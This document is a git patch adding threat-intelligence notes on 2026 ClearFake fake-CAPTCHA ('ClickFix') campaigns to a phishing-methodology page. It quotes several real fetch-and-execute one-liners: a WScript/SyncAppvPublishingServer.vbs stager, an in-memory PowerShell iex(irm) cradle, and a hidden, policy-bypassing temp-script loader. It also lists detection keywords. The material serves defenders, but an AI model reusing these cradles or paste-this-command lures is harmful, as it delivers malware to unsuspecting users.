From 6a5db4d414ff1779acb152911014599337a56de0 Mon Sep 17 00:00:00 2001
From: HackTricks News Bot <bot@hacktricks.xyz>
Date: Fri, 20 Feb 2026 01:58:34 +0000
Subject: [PATCH] Add content from: Intelligence Insights: February 2026

---
 .../clipboard-hijacking.md                    | 26 +++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md b/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
index a52d4998927..1cfa0bd3b13 100644
--- a/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
@@ -186,6 +186,31 @@ clone-a-website.md
 homograph-attacks.md
 {{#endref}}
 
+## 2026 fake CAPTCHA / ClickFix evolutions (ClearFake, Scarlet Goldfinch)
+
+- ClearFake continues to compromise WordPress sites and inject loader JavaScript that chains external hosts (Cloudflare Workers, GitHub/jsDelivr) and even blockchain “etherhiding” calls (e.g., POSTs to Binance Smart Chain API endpoints such as `bsc-testnet.drpc[.]org`) to pull current lure logic. Recent overlays heavily use fake CAPTCHAs that instruct users to copy/paste a one-liner (T1204.004) instead of downloading anything.
+- Initial execution is increasingly delegated to signed script hosts/LOLBAS. January 2026 chains swapped earlier `mshta` usage for the built-in `SyncAppvPublishingServer.vbs` executed via `WScript.exe`, passing PowerShell-like arguments with aliases/wildcards to fetch remote content:
+
+```cmd
+"C:\WINDOWS\System32\WScript.exe" "C:\WINDOWS\system32\SyncAppvPublishingServer.vbs" "n;&(gal i*x)(&(gcm *stM*) 'cdn.jsdelivr[.]net/gh/grading-chatter-dock73/vigilant-bucket-gui/p1lot')"
+```
+
+  - `SyncAppvPublishingServer.vbs` is signed and normally used by App-V; paired with `WScript.exe` and unusual arguments (`gal`/`gcm` aliases, wildcarded cmdlets, jsDelivr URLs) it becomes a high-signal LOLBAS stage for ClearFake.
+- February 2026 fake CAPTCHA payloads shifted back to pure PowerShell download cradles. Two live examples:
+
+```powershell
+"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -c iex(irm 158.94.209[.]33 -UseBasicParsing)
+"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w h -c "$w=New-Object -ComObject WinHttp.WinHttpRequest.5.1;$w.Open('GET','https[:]//cdn[.]jsdelivr[.]net/gh/www1day7/msdn/fase32',0);$w.Send();$f=$env:TEMP+'\FVL.ps1';$w.ResponseText>$f;powershell -w h -ep bypass -f $f"
+```
+
+  - First chain is an in-memory `iex(irm ...)` grabber; the second stages via `WinHttp.WinHttpRequest.5.1`, writes a temp `.ps1`, then launches with `-ep bypass` in a hidden window.
+
+Detection/hunting tips for these variants
+- Process lineage: browser → `explorer.exe` → `wscript.exe ...SyncAppvPublishingServer.vbs` or PowerShell cradles immediately after clipboard writes/Win+R.
+- Command-line keywords: `SyncAppvPublishingServer.vbs`, `WinHttp.WinHttpRequest.5.1`, `-UseBasicParsing`, `%TEMP%\FVL.ps1`, jsDelivr/GitHub/Cloudflare Worker domains, or raw IP `iex(irm ...)` patterns.
+- Network: outbound to CDN worker hosts or blockchain RPC endpoints from script hosts/PowerShell shortly after web browsing.
+- File/registry: temporary `.ps1` creation under `%TEMP%` plus RunMRU entries containing these one-liners; block/alert on signed-script LOLBAS (WScript/cscript/mshta) executing with external URLs or obfuscated alias strings.
+
 ## Mitigations
 
 1. Browser hardening – disable clipboard write-access (`dom.events.asyncClipboard.clipboardItem` etc.) or require user gesture.
@@ -208,5 +233,6 @@ homograph-attacks.md
 - [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
 - [The ClickFix Factory: First Exposure of IUAM ClickFix Generator](https://unit42.paloaltonetworks.com/clickfix-generator-first-of-its-kind/)
 - [2025, the year of the Infostealer](https://www.pentestpartners.com/security-blog/2025-the-year-of-the-infostealer/)
+- [Red Canary – Intelligence Insights: February 2026](https://redcanary.com/blog/threat-intelligence/intelligence-insights-february-2026/)
 
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